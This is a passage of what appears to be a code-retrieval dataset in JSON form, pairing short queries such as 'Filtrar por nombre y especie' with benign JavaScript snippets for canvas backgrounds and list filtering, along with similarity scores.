gridWidth);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function Background() {\\n\\n // Implement abstract function draw\\n this.draw = function() {\\n this.context.drawImage(imageRepository.background, this.x, this.y);\\n };\\n}\",\n \"function drawBackground(W,H) {\\n\\t\\tvar colors = $scope.gimme(\\\"GroupColors\\\");\\n\\t\\tif(typeof colors === 'string') {\\n\\t\\t\\tcolors = JSON.parse(colors);\\n\\t\\t}\\n\\n\\t\\tif(colors.hasOwnProperty(\\\"skin\\\")) {\\n\\t\\t\\tvar drewBack = false\\n\\t\\t\\tif(colors.skin.hasOwnProperty(\\\"gradient\\\")) {\\n\\t\\t\\t\\tvar OK = true;\\n\\n\\t\\t\\t\\tvar grd = ctx.createLinearGradient(0,0,W,H);\\n\\t\\t\\t\\tfor(var i = 0; i < colors.skin.gradient.length; i++) {\\n\\t\\t\\t\\t\\tvar cc = colors.skin.gradient[i];\\n\\t\\t\\t\\t\\tif(cc.hasOwnProperty('pos') && cc.hasOwnProperty('color')) {\\n\\t\\t\\t\\t\\t\\tgrd.addColorStop(cc.pos, cc.color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\tOK = false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif(OK) {\\n\\t\\t\\t\\t\\tctx.fillStyle = grd;\\n\\t\\t\\t\\t\\tctx.fillRect(0,0,W,H);\\n\\t\\t\\t\\t\\tdrewBack = true;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif(!drewBack && colors.skin.hasOwnProperty(\\\"color\\\")) {\\n\\t\\t\\t\\tctx.fillStyle = colors.skin.color;\\n\\t\\t\\t\\tctx.fillRect(0,0,W,H);\\n\\t\\t\\t\\tdrewBack = true;\\n\\t\\t\\t}\\n\\n\\t\\t\\tif(colors.skin.hasOwnProperty(\\\"border\\\")) {\\n\\t\\t\\t\\tctx.fillStyle = colors.skin.border;\\n\\t\\t\\t\\tctx.fillRect(0,0, W,1);\\n\\t\\t\\t\\tctx.fillRect(0,H-1, W,H);\\n\\t\\t\\t\\tctx.fillRect(0,0, 1,H);\\n\\t\\t\\t\\tctx.fillRect(W-1,0, W,H);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\",\n \"function createBackground() {\\n\\t\\t\\tbg = new createjs.Shape();\\t\\t\\n\\t\\t\\tstage.addChild(bg);\\n \\t}\",\n \"_draw_all(){\\r\\n\\t\\tthis._draw_bg();\\r\\n\\t\\tthis._draw_fg();\\r\\n\\t}\",\n \"function draw() {\\n background(255,0,0)\\n rectMode(CENTER)\\n rect(250.250,100,100)\\n}\",\n \"function displayBg() \\n{\\n\\tvar bg = new Image();\\n\\tbg.src = \\\"Images/background.jpg\\\";\\n\\tctx.drawImage(bg,minCanvasWidth,minCanvasHeight,maxCanvasWidth,maxCanvasHeight);\\n}\",\n \"function drawBackground() {\\n\\n ctx.fillStyle = \\\"white\\\";\\n ctx.fillRect(0, 0, canvas.width, canvas.height);\\n\\n timePassedSinceHurt = new Date().getTime() - lastHurtStarted;\\n timePassedSinceDead = new Date().getTime() - deadStarted;\\n\\n drawSky();\\n drawHills();\\n drawClouds();\\n drawShadows();\\n drawGround();\\n}\",\n \"function drawBG() {\\n magicalCanvas.crc2.clearRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n if (day == true) {\\n //sky\\n magicalCanvas.crc2.fillStyle = \\\"skyblue\\\";\\n magicalCanvas.crc2.fillRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n //background\\n magicalCanvas.crc2.fillStyle = \\\"limegreen\\\";\\n magicalCanvas.crc2.strokeStyle = \\\"limegreen\\\";\\n magicalCanvas.crc2.lineWidth = 2;\\n magicalCanvas.crc2.beginPath();\\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 50);\\n magicalCanvas.crc2.quadraticCurveTo(magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 250, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 50);\\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.closePath();\\n magicalCanvas.crc2.fill();\\n magicalCanvas.crc2.stroke();\\n //foreground\\n magicalCanvas.crc2.fillStyle = \\\"forestgreen\\\";\\n magicalCanvas.crc2.strokeStyle = \\\"forestgreen\\\";\\n magicalCanvas.crc2.beginPath();\\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 150);\\n magicalCanvas.crc2.bezierCurveTo(20, magicalCanvas.canvas.height - 150, 20, magicalCanvas.canvas.height - 20, magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 20);\\n magicalCanvas.crc2.bezierCurveTo(magicalCanvas.canvas.width - 20, magicalCanvas.canvas.height - 20, magicalCanvas.canvas.width - 20, magicalCanvas.canvas.height - 150, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 150);\\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.closePath();\\n magicalCanvas.crc2.fill();\\n magicalCanvas.crc2.stroke();\\n }\\n else {\\n //sky\\n magicalCanvas.crc2.fillStyle = \\\"#252D3F\\\";\\n magicalCanvas.crc2.fillRect(0, 0, magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n //background\\n magicalCanvas.crc2.fillStyle = \\\"#142615\\\";\\n magicalCanvas.crc2.strokeStyle = \\\"#142615\\\";\\n magicalCanvas.crc2.lineWidth = 2;\\n magicalCanvas.crc2.beginPath();\\n magicalCanvas.crc2.moveTo(0, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.lineTo(0, magicalCanvas.canvas.height - 30);\\n magicalCanvas.crc2.quadraticCurveTo(magicalCanvas.canvas.width / 2, magicalCanvas.canvas.height - 270, magicalCanvas.canvas.width, magicalCanvas.canvas.height - 30);\\n magicalCanvas.crc2.lineTo(magicalCanvas.canvas.width, magicalCanvas.canvas.height);\\n magicalCanvas.crc2.closePath();\\n magicalCanvas.crc2.fill();\\n magicalCanvas.crc2.stroke();\\n }\\n }\",\n \"function Background() {\\n\\tthis.speed = 1; // Redefine speed of the background for panning\\n\\t\\n\\t// Implement abstract function\\n\\tthis.draw = function() {\\n\\t\\t// Pan background\\n\\t\\tthis.x -= this.speed;\\n\\t\\tthis.context.drawImage(imageRepository.background, this.x, this.y);\\n\\t\\t\\n\\t\\t// Draw another image at the top edge of the first image\\n\\t\\tthis.context.drawImage(imageRepository.background, this.x + this.canvasWidth, this.y);\\n\\n\\t\\t// If the image scrolled off the screen, reset\\n\\t\\tif (this.x <= -this.canvasWidth)\\n\\t\\t\\tthis.x = 0;\\n\\t};\\n}\",\n \"function Background() {\\n this.speed = 1; // Redefine speed of the background for panning\\n // Implement abstract function\\n this.draw = function() {\\n // Pan background\\n this.x -= this.speed;\\n this.context.drawImage(imageRepository.background, this.x, this.y);\\n // Draw another image at the top edge of the first image\\n this.context.drawImage(imageRepository.background, this.x - this.canvasWidth, this.y);\\n // If the image scrolled off the screen, reset\\n if (this.x >= this.canvasWidth) {\\n this.x = 0;\\n }\\n };\\n}\",\n \"function drawBackground(width, height, color, x, y, type) {\\n this.gamearea = gameArea;\\n this.type = type;\\n if (type == 'image' || type == 'background') {\\n this.image = new Image();\\n this.image.src = color;\\n }\\n this.width = width;\\n this.height = height;\\n this.speedX = 0;\\n this.speedY = 0;\\n this.x = x;\\n this.y = y;\\n this.update = function() {\\n ctx = gameArea.context;\\n if (type == 'image' || type == 'background') {\\n ctx.drawImage(this.image,\\n this.x,\\n this.y,\\n this.width, this.height);\\n\\n if (type == 'background') {\\n ctx.drawImage(this.image,\\n this.x + this.width,\\n this.y,\\n this.width, this.height);\\n }\\n }\\n else {\\n ctx.fillStyle = color;\\n ctx.fillRect(this.x, this.y, this.width, this.height);\\n }\\n }\\n this.newPos = function() {\\n this.x += this.speedX;\\n this.y += this.speedY;\\n if (this.type == 'background') {\\n if (this.x == -(this.width)) {\\n this.x = 0;\\n }\\n }\\n }\\n this.clicked = function () {\\n let myleft = this.x;\\n let myright = this.x + (this.width);\\n let mytop = this.y;\\n let mybottom = this.y + (this.height);\\n var clicked = true;\\n if ((mybottom < gameArea.y) || (mytop > gameArea.y) || (myright < gameArea.x) || (myleft > gameArea.x)) {\\n clicked = false;\\n }\\n return clicked;\\n }\\n}\",\n \"createBackground() {\\n const canvas = document.getElementById(\\\"background\\\");\\n const ctx = canvas.getContext(\\\"2d\\\");\\n canvas.width = window.innerWidth;\\n //save some space for the footer\\n canvas.height = window.innerHeight;\\n //clear previous canvas to avoid memory leaks\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n this.RED_OFFSET = Math.floor(Math.random() * (MAX_RED - MIN_RED)) + MIN_RED; \\n this.GREEN_OFFSET = Math.floor(Math.random() * (MAX_GREEN - MIN_GREEN)) + MIN_GREEN; \\n this.BLUE_OFFSET = Math.floor(Math.random() * (MAX_BLUE - MIN_BLUE)) + MIN_BLUE; \\n //each overlapping layer will contain randomly drawn shapes and colors\\n this.canvasLayers = new Array(NUM_LAYERS);\\n //parameters that will be fed into the drawLayer on each iteration. These will be updated each time\\n //we call the drawLayer function\\n const step = Math.floor(window.width / this.canvasLayers.length);\\n const parameters = {\\n blue: 150,\\n green: 155, \\n red: 255,\\n position: 0,\\n step: step\\n }\\n\\n for (let position = 0; position < this.canvasLayers.length; position++) {\\n parameters.position = position;\\n this.drawLayer(canvas, ctx, parameters);\\n }\\n\\n this.drawClouds(canvas, ctx);\\n this.drawSun(canvas, ctx);\\n }\",\n \"function Background()\\n{\\n\\tthis.speed = 1; // Redefine speed of the background for panning\\n\\t// Implement abstract function\\n\\tthis.draw = function()\\n {\\n\\t\\t// Pan background\\n\\t\\tthis.y += this.speed;\\n\\t\\tthis.context.drawImage(imageRepository.background, this.x, this.y);\\n\\t\\t// Draw another image at the top edge of the first image\\n\\t\\tthis.context.drawImage(imageRepository.background, this.x, this.y - this.canvasHeight);\\n\\t\\t// If the image scrolled off the screen, reset\\n\\t\\tif (this.y >= this.canvasHeight)\\n\\t\\t\\tthis.y = 0;\\n\\n\\t};\\n}\",\n \"initBackground() {\\n\\t\\tthis.background = new createjs.Shape();\\n\\t\\tthis.background.graphics.beginFill(\\\"black\\\").drawRect(0, 0, this.width, this.height);\\n\\t\\tthis.background.x = 0;\\n\\t\\tthis.background.y = 0;\\n\\t\\tthis.stage.addChild(this.background);\\n\\t\\t//this.updateStage();\\n\\t}\",\n \"function drawBackground() {\\n\\t\\n\\tif (backgroundImg.width >= canvas.width) {\\n\\t\\t// If the image has fully passed through screen, reset x to default position and\\n\\t\\t// draw again \\n\\t\\tif (x <= -(backgroundImg.width + canvas.width)) \\n\\t\\t{ \\n\\t\\t\\tx = -canvas.width;\\n\\t\\t}\\n\\t\\t\\t\\n\\t\\tif (x <= -(backgroundImg.width - canvas.width)) \\n\\t\\t{ \\n\\t\\t\\t// Continuing to draw image if it's width runs out\\n\\t\\t\\tctx.drawImage(backgroundImg, (x + backgroundImg.width), 0, \\n\\t\\t\\tbackgroundImg.width, backgroundImg.height); \\n\\t\\t}\\n\\t}\\n\\n\\t// Drawing a new image from canvas.width\\n\\tctx.drawImage(backgroundImg, x, 0, backgroundImg.width, backgroundImg.height);\\t\\n\\n\\t// Amount for the x on image to move left each frame\\n\\tx -= xv;\\t\\n}\",\n \"function Background() {\\n\\n // Implement abstract function\\n this.draw = function () {\\n this.context.drawImage(imageRepository.background, this.x, this.y);\\n };\\n}\",\n \"animate(ctx){\\n this.drawBackground(ctx);\\n }\",\n \"function createBackground() {\\n\\tvar background = document.createElementNS($SVG_LIB, \\\"rect\\\");\\n\\tbackground.setAttribute(\\\"id\\\", \\\"background\\\");\\n\\tbackground.setAttribute(\\\"fill\\\", backgroundColor);\\n\\tbackground.setAttribute(\\\"height\\\", size * height);\\n\\tbackground.setAttribute(\\\"width\\\", size * width);\\n\\tdocument.getElementById(\\\"components\\\").appendChild(background);\\n}\",\n \"background(r, g, b) {\\n this.ctx.canvas.style.backgroundColor = getColorString(this.palette, r, g, b);\\n }\",\n \"function draw(context) {\\n context.drawImage(background, ofsetted_x, ofsetted_y);\\n debug.do_draw('panels') && draw_debug(context);\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.840327","0.83144766","0.8288564","0.8146599","0.81359756","0.81241894","0.80891436","0.8056861","0.802413","0.8013045","0.79130584","0.78841805","0.78572387","0.78559095","0.78409606","0.78127265","0.77953005","0.7791962","0.7768092","0.77617973","0.7738038","0.77342945","0.77248245","0.77241486","0.7712989","0.76777774","0.764632","0.75916797","0.75373816","0.75309384","0.7508517","0.7503374","0.74968505","0.7478999","0.7446551","0.74352896","0.7427754","0.7424929","0.7381953","0.73799103","0.7347159","0.7341219","0.7307525","0.7274661","0.72481024","0.7234932","0.7227836","0.7122677","0.70993006","0.7094605","0.7094605","0.7089473","0.7080205","0.708018","0.7079015","0.70762545","0.7066231","0.70617986","0.70501876","0.70451623","0.7041397","0.70226234","0.6999996","0.69867986","0.696276","0.69625485","0.6954444","0.6949504","0.6947391","0.69445324","0.6934798","0.69335264","0.6925623","0.6919596","0.6916067","0.6912107","0.690659","0.6905616","0.6903135","0.6900676","0.688","0.68653226","0.68524194","0.68479335","0.68332165","0.68237644","0.68102497","0.6806546","0.6785522","0.6755144","0.67523926","0.67478704","0.6743007","0.6734922","0.6730787","0.6720739","0.6720129","0.67140764","0.67115873","0.6703872","0.6692029"],"string":"[\n \"0.840327\",\n \"0.83144766\",\n \"0.8288564\",\n \"0.8146599\",\n \"0.81359756\",\n \"0.81241894\",\n \"0.80891436\",\n \"0.8056861\",\n \"0.802413\",\n \"0.8013045\",\n \"0.79130584\",\n \"0.78841805\",\n \"0.78572387\",\n \"0.78559095\",\n \"0.78409606\",\n \"0.78127265\",\n \"0.77953005\",\n \"0.7791962\",\n \"0.7768092\",\n \"0.77617973\",\n \"0.7738038\",\n \"0.77342945\",\n \"0.77248245\",\n \"0.77241486\",\n \"0.7712989\",\n \"0.76777774\",\n \"0.764632\",\n \"0.75916797\",\n \"0.75373816\",\n \"0.75309384\",\n \"0.7508517\",\n \"0.7503374\",\n \"0.74968505\",\n \"0.7478999\",\n \"0.7446551\",\n \"0.74352896\",\n \"0.7427754\",\n \"0.7424929\",\n \"0.7381953\",\n \"0.73799103\",\n \"0.7347159\",\n \"0.7341219\",\n \"0.7307525\",\n \"0.7274661\",\n \"0.72481024\",\n \"0.7234932\",\n \"0.7227836\",\n \"0.7122677\",\n \"0.70993006\",\n \"0.7094605\",\n \"0.7094605\",\n \"0.7089473\",\n \"0.7080205\",\n \"0.708018\",\n \"0.7079015\",\n \"0.70762545\",\n \"0.7066231\",\n \"0.70617986\",\n \"0.70501876\",\n \"0.70451623\",\n \"0.7041397\",\n \"0.70226234\",\n \"0.6999996\",\n \"0.69867986\",\n \"0.696276\",\n \"0.69625485\",\n \"0.6954444\",\n \"0.6949504\",\n \"0.6947391\",\n \"0.69445324\",\n \"0.6934798\",\n \"0.69335264\",\n \"0.6925623\",\n \"0.6919596\",\n \"0.6916067\",\n \"0.6912107\",\n \"0.690659\",\n \"0.6905616\",\n \"0.6903135\",\n \"0.6900676\",\n \"0.688\",\n \"0.68653226\",\n \"0.68524194\",\n \"0.68479335\",\n \"0.68332165\",\n \"0.68237644\",\n \"0.68102497\",\n \"0.6806546\",\n \"0.6785522\",\n \"0.6755144\",\n \"0.67523926\",\n \"0.67478704\",\n \"0.6743007\",\n \"0.6734922\",\n \"0.6730787\",\n \"0.6720739\",\n \"0.6720129\",\n \"0.67140764\",\n \"0.67115873\",\n \"0.6703872\",\n \"0.6692029\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":35,"cells":{"query":{"kind":"string","value":"Filtrar por nombre y especie"},"document":{"kind":"string","value":"function handleFilter(data) {\n if (data.key === \"name\") {\n return setFilterName(data.value);\n } else if (data.key === \"species\") {\n return setFilterSpecies(data.value);\n }\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function filtrarProd(){\nlet filtrado = productos.filter(prod => {\n \n return prod.nombre.toLowerCase().includes($(\"#txtFiltrar\").val().toLowerCase())\n})\nlistarProductos(filtrado)\n$(\"#txtFiltrar\").val(\"\")\n}","function filtro() {\n let selectorSexo = document.getElementById(\"selectorSexo\");\n let inputNombre = document.getElementById(\"inombre\");\n\n const sexo = selectorSexo.value;\n const nombre = inputNombre.value.trim().toLowerCase();\n\n console.trace(`filtro sexo=${sexo} nombre=${nombre}`);\n console.debug(\"personas %o\", personas);\n\n //creamos una copia para no modificar el original\n let personasFiltradas = personas.map((el) => el);\n\n //filtrar por sexo, si es 't' todos no hace falta filtrar\n if (sexo == \"h\" || sexo == \"m\") {\n personasFiltradas = personasFiltradas.filter((el) => el.sexo == sexo);\n console.debug(\"filtrado por sexo %o\", personasFiltradas);\n }\n\n //filtrar por nombre buscado\n if (nombre != \" \") {\n personasFiltradas = personasFiltradas.filter((el) =>\n el.nombre.toLowerCase().includes(nombre)\n );\n console.debug(\"filtrado por nombre %o\", personasFiltradas);\n }\n\n maquetarLista(personasFiltradas);\n}","function filtrar(value) {\n $(\".items\").filter(function () {\n $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1);//SI ES DIFERENTE A -1 ES QUE ENCONTRO\n });\n}","function filterNames() {\n //3.1. get value of filterInput and convert it to upper case for comparision\n let filterValue = filterInput.value.toUpperCase();\n\n //3.2. get ul containing all the names\n let nameList = document.querySelector('.list');\n\n //3.3. get all the names from the nameList in a array\n let namesArray = Array.from(nameList.querySelectorAll('.list__item'));\n\n //3.4. loop through namesArray to compare filterValue with the names in the namesArray\n for (let i = 0; i < namesArray.length; i++){\n //3.4.1. get currentname\n let currentname = namesArray[i].innerText.toUpperCase();\n //3.4.2 compare both the names\n if(currentname.indexOf(filterValue) > -1){\n //if matched do nothing\n namesArray[i].style.display ='';\n }else{\n //else display none\n namesArray[i].style.display ='none';\n }\n }\n}","function filtre_texte(txt) {\r\n tabObj = tabObjInit.filter(function (elm) {\r\n var pattern = new RegExp(\"(\" + txt + \")\", 'ig');\r\n if ( elm.Nom.match(pattern) ) {\r\n return true;\r\n } else {\r\n return false\r\n }\r\n });\r\n ecrit_liste(tabObj);\r\n}","async function filtrarNomes(){\n let valorInput = filterInput.value.charAt(0).toUpperCase() + filterInput.value.toLowerCase().substring(1);\n let nomes = buscarDadosNoJSON();\n \n nomes.then((nomeDoJSON) => {\n let resultados = nomeDoJSON.filter(nome => {\n let regex = new RegExp(`${valorInput}`, 'gi');\n return nome.name.match(regex);\n });\n\n if(resultados.length > 0)\n mostrarResultados(resultados)\n });\n }","filtrarSugerencias(resultado, busqueda){\n \n //filtrar con .filter\n const filtro = resultado.filter(filtro => filtro.calle.indexOf(busqueda) !== -1);\n console.log(filtro);\n \n //mostrar los pines\n this.mostrarPines(filtro);\n }","function filterNames() {\r\n //Search value, list items, pokemon names\r\n const filterValue = searchResult.value.toLowerCase(); //Gets search value\r\n const pokemonListLi = pokemonList.querySelectorAll('li'); //Gets list items\r\n const pokemonListNames = pokemonList.querySelectorAll('.pokemon-name'); //Gets pokemon names\r\n\r\n for (let i = 0; i < pokemonListNames.length; i++) {\r\n /*if at least one value of search appears in name, list item stays\r\n if value of search never occurs, list item is hidden*/\r\n if (pokemonListNames[i].textContent.toLowerCase().indexOf(filterValue) > -1) {\r\n pokemonListLi[i].style.display = '';\r\n } else {\r\n pokemonListLi[i].style.display = 'none';\r\n }\r\n }\r\n}","function filterItem (){\n let filter = valorfilter();\n estructuraFilter = \"\";\n if (filter == \"Prime\"){\n for (propiedad of carrito) {\n if (propiedad.premium) imprimirItemFilter(propiedad);\n }\n noItenCarrito();\n } else if (filter == \"Todos\") {\n estructuraPrincipalCarrito();\n } \n}","function filterByName (data) {\n const arrCard = document.querySelectorAll('.card');\n const searchInput = document.querySelector('.search-input');\n const arrName = [...document.querySelectorAll('#name')];\n searchInput.addEventListener('input', elInput => {\n const gallery = document.querySelector('#gallery');\n let dataArr = [];\n gallery.innerHTML = '';\n data.map(card => {\n let name = card.name.first + card.name.last;\n if(name.match(elInput.target.value)) {\n createCardsNew (card);\n dataArr.push(card);\n }\n });\n byClickCreateModal (dataArr);\n });\n}","function filterNames(event) {\n let searchString = event.target.value.toLowerCase()\n\n $lis.forEach((li) => {\n if (li.querySelector('a').innerText.toLowerCase().includes(searchString)) {\n li.style.display = ''\n }\n else {\n li.style.display = 'none'\n }\n })\n}","function filterBySearchTerm(){\n let inputName = document.querySelector('#input-pokemon-name').value;\n let pokemonNames = arrayOfPokemon.filter(pokemon => pokemon.name.startsWith(inputName));\n\n let inputType = document.querySelector('#input-pokemon-type').value;\n let pokemonTypes = arrayOfPokemon.filter(pokemon => pokemon.primary_type.startsWith(inputType));\n\n if (inputName !== \"\"){\n document.querySelector('#pokemon-list').innerText = '';\n displayList(pokemonNames);\n } else if (inputType !== \"\"){\n document.querySelector('#pokemon-list').innerText = '';\n displayList(pokemonTypes);\n } else if (inputName == \"\" && inputType == \"\"){\n let pokemonList = document.querySelector('#pokemon-list');\n pokemonList.innerHTML = \"\";\n displayList(arrayOfPokemon);\n };\n}","function filterMovies(titlename) {\r\n const filteredMovies = movies.filter(word => word.Title.includes(titlename));\r\n addMoviesToDom(filteredMovies);\r\n}","function filtros1(){\n\t\n\t\n\tvar recibe=$(this).val();\n\tvar detector=$(this).attr('name');\t\n\t\n\t$('#empleados tr').show();\n\t\n\tif(recibe.length>0 && detector=='cedula'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#empleados tr td.cedula\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t\t\n\t}\n\tif(recibe.length>0 && detector=='nombre'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#empleados tr td.nombre\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='costo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#empleados tr td.costo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\tif(recibe.length>0 && detector=='cargo'){\n\t\t // con la clase .nombre le decimos en cual de las celdas buscar y si no coincide, ocultamos el tr que contiene a esa celda. \n $(\"#empleados tr td.cargo\").not(\":Contains('\"+recibe+\"')\").parent().hide();\n\t}\n\t\n\t\n\treturn false;\n}","function filterBy(filter) {\n JsontoHTML()\n for (let i = 0; i < all_html.length; i++) {\n let c = databaseObj[i];\n let genre = (JSON.parse(c[\"genres\"]))\n for (let a = 0; a < genre.length; a++) {\n if (genre[a][\"name\"] === filter) {\n $(\".items\").append([all_html[i]].map(movie_item_template).join(\"\"));\n }\n }\n }\n storage()\n }","function filterByName(name){\n document.querySelectorAll('.card').forEach(el => {\n if(el.querySelector('h3').innerText.toLowerCase().indexOf(name.toLowerCase()) > -1){\n el.classList.remove('hidden')\n }else{\n el.classList.add('hidden')\n }\n })\n }","function ObtenerResultadosFiltrados(){\n var comparar=[];\n $(selector+' .campoFiltrado input.campoBlancoTextoSeleccion').each(function(i,campo){\n if(ValidarCadena($(campo).val())){\n comparar.push(\n $(campo).attr('identificador')\n );\n }\n });\n return descargasGenerales.filter(function(elemento){\n if(comparar.length==0){\n return true;\n }\n for(let i=0;i {\n if (item.textContent.toUpperCase().indexOf(filterValue) > -1) {\n item.parentElement.style.display = \"\";\n } else {\n item.parentElement.style.display = \"none\";\n }\n });\n}","function filtresPers(searchFilter) {\n\t\treturn listPers.filter(p => p.nom.includes(searchFilter)||p.prenom.includes(searchFilter)||p.nomBiblio.includes(searchFilter)||p.titre.includes(searchFilter));\n\t}","function filterNames() {\n // Get the input value\n\n let filterValue = document.getElementById('filterInput').value.toUpperCase();\n\n // Get the ul\n\n let ul = document.getElementById('names');\n\n // Get the lis from ul , an array would also be created from this\n let li = ul.querySelectorAll('li.collection-item');\n\n // Loop through \n\nfor( let i=0; i < li.length; i++) {\n let a = li[i].getElementsByTagName('a')[0];\n if(a.innerHTML.toUpperCase().indexOf(filterValue) > -1) {\n li[i].style.display = '';\n } else {\n li[i].style.display = 'none'\n }\n}\n}","function filterAndSearch(films, searched, filtered, num) {\n\titems.innerHTML = \"\";\n\tvar arrayOne = [];\n\tvar arrayTwo = [];\n\tvar filmRating;\n\tfor (var i=0; iMath.round(slider.noUiSlider.get()[0])&&filmRatingGenre: \" + films[i].genre + defLa[4] + films[i].rating + defLa[5];\n\t\t}\n\t}\n\tif (items.innerHTML == \"\") {\n\t\titems.innerHTML = \"No Results Found\";\n\t}\n}","function searchConcepto() {\n\tvar input, i, filter, li, ul, txtValue;\n\tinput = document.getElementById('buscarConcepto');\n\tfilter = input.value.toUpperCase();\n\t//collection-item getElementsByClassName('prueba') ;\n\tlet array_aux = document.getElementById('listadoconceptos').getElementsByTagName('A');\n\t//console.log(array_aux);\n\tfor (i = 0; i < array_aux.length; i++) {\n\t\ta = array_aux[i].getAttribute('concepto');\n\t\ttxtValue = a;\n\t\tif (txtValue.toUpperCase().indexOf(filter) > -1) {\n\t\t\tarray_aux[i].parentElement.style.display = '';\n\t\t} else {\n\t\t\tarray_aux[i].parentElement.style.display = 'none';\n\t\t}\n\t}\n}","function searchData(){\n var dd = dList\n var q = document.getElementById('filter').value;\n var data = dd.filter(function (thisData) {\n return thisData.name.toLowerCase().includes(q) ||\n thisData.rotation_period.includes(q) ||\n thisData.orbital_period.includes(q) || \n thisData.diameter.includes(q) || \n thisData.climate.includes(q) ||\n thisData.gravity.includes(q) || \n thisData.terrain.includes(q) || \n thisData.surface_water.includes (q) ||\n thisData.population.includes(q)\n });\n showData(data); // mengirim data ke function showData\n}","function filtro(tmpIdDecada, filtro) {\n\n // Violencias\n $(\"#\" + tmpIdDecada + \" .flt\").show();\n\n for (var tmpObra in arrayDecadas) {\n // todo get\n if (filtro === \"filtro_1\") {\n }\n if (getIDByCollection(tmpIdDecada) == arrayDecadas[tmpObra][\"collection_name\"]\n && arrayDecadas[tmpObra][\"violencias\"] == filtro) {\n $(\"#i-\" + decadas[\"ID\"]).addClass(\"flt\").hide();\n }\n }\n\n}","function filterEmployee() {\n // Declare variables\n const input = document.querySelector('input');\n const filter = input.value.toUpperCase();\n let name = document.querySelectorAll('.name');\n const heading4 = document.querySelectorAll('h4')\n const card = document.querySelectorAll('.card');\n const btn = document.querySelector('button');\n\n\n // Loop through all employees name, and hide those who don't match the search query\n for (let i = 0; i < card.length; i++) {\n if (name[i].textContent.toUpperCase().includes(filter)) {\n showModalFunc(card[i]);\n } else {\n removeModalFunc(card[i]);\n }\n const clearFilter = (e) => {\n e.preventDefault();\n input.value = '';\n }\n }\n }","function filterByNameOrAdress(classNameOf) {\n const drinkNames = document.querySelectorAll(classNameOf);\n\n for (let index = 0; index < drinkNames.length; index++) {\n if (\n drinkNames[index].innerHTML\n .toLowerCase()\n .includes(searchTxt.value.toLowerCase())\n ) {\n drinkNames[index].style.display = \"block\";\n } else {\n drinkNames[index].style.display = \"none\";\n }\n }\n }","function mostrarResultados(nomesFiltrados){\n ul.innerHTML = [];\n letters.forEach(letra =>{\n let li = document.createElement('li');\n let h5 = document.createElement('h5');\n \n ul.append(li);\n li.classList.add('collection-header');\n li.append(h5);\n h5.innerHTML = `${letra}`;\n \n nomesFiltrados.forEach((nomeFiltrado) => {\n if(letra === nomeFiltrado.letter){\n let liItem = document.createElement('li');\n let aItem = document.createElement('a');\n ul.append(liItem);\n liItem.classList.add('collection-item');\n liItem.append(aItem);\n aItem.href = '#';\n aItem.innerHTML = `${nomeFiltrado.name}`;\n }\n });\n });\n}","function filtrar(){\n $(\"#grillaProductos>div\").hide();\n let arrayTemp=[];\n for (let i=0; i<$(\".checkbox\").length; i++ ){\n if($(\".checkbox\")[i].checked){\n switch (i){\n case 0:\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\"shampoo\"));\n break;\n case 1:\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\"acondicionador\"));\n break;\n case 2:\n arrayTemp= arrayTemp.concat(arrayProductos.filter(el=>el.nombre.split(/(?=[A-Z])/)[0]==\"combo\"));\n break;\n }\n }\n }\n \n if (arrayTemp.length === 0){\n $(\"#grillaProductos>div\").show();\n }else{\n arrayTemp.forEach(element => {\n $(`#${element.nombre}CardgrillaProductos`).show(); \n });\n }\n }","function filtrar() {\n var input, filter, table, tr, td, i;\n input = $('#filtrar');\n filter = input.val().toUpperCase();\n table = $('#tabela');\n tr = $('tr');\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName('td')[0];\n if (td) {\n if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {\n tr[i].style.display = '';\n } else {\n tr[i].style.display = 'none';\n }\n }\n }\n}","function filterAccion() {\n let texto = \"Accion\";\n Mangas = JSON.parse(localStorage.getItem(\"biblioteca\"));\n\n Mangas = Mangas.filter(function (manga) {\n return manga.categoria.indexOf(texto) > -1;\n });\n 